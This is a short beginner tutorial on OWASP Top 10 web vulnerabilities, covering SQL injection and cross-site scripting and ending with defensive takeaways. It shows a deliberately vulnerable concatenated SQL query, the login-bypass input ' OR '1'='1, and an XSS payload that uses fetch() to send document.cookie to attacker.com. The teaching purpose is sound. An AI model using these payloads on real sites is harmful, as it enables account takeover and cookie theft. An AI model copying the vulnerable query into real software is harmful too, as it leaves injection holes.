Web Application Penetration Testing: OWASP Top 10 for Beginners

Understanding Web Application Vulnerabilities

Web application security is a branch of Information Security that deals specifically with security of websites, web applications and web services. In this guide, we will analyze the fundamental vulnerabilities outlined in the OWASP Top 10.

1. SQL Injection (SQLi)

SQL Injection occurs when malicious SQL statements are inserted into entry fields for execution (e.g. to dump database contents to the attacker). This typically happens when developers directly concatenate user input within SQL statements rather than using prepared parameters.

-- Vulnerable query construction
SELECT * FROM users WHERE username = '' + user_input + '' AND password = '' + pass_input + '';

An attacker can input ' OR '1'='1 to bypass login queries, since '1'='1' always evaluates to true.

2. Cross-Site Scripting (XSS)

XSS vulnerabilities enable attackers to inject client-side scripts (usually JavaScript) into web pages viewed by other users. There are three main types of XSS:

• Reflected XSS: The script is reflected off the web server (e.g., via search params).
• Stored XSS: The script is permanently stored in the database (e.g., in comment fields).
• DOM-based XSS: The vulnerability is entirely in the client-side JavaScript code.

To exploit XSS, an attacker might enter the following payload into a guestbook comment:

<script>fetch("http://attacker.com/steal?cookie=" + document.cookie)</script>

Takeaways

Securing a web application requires defense-in-depth: validating all inputs, encoding all outputs, setting strict Cookie security attributes (like HttpOnly and SameSite), and implementing a strong Content Security Policy (CSP).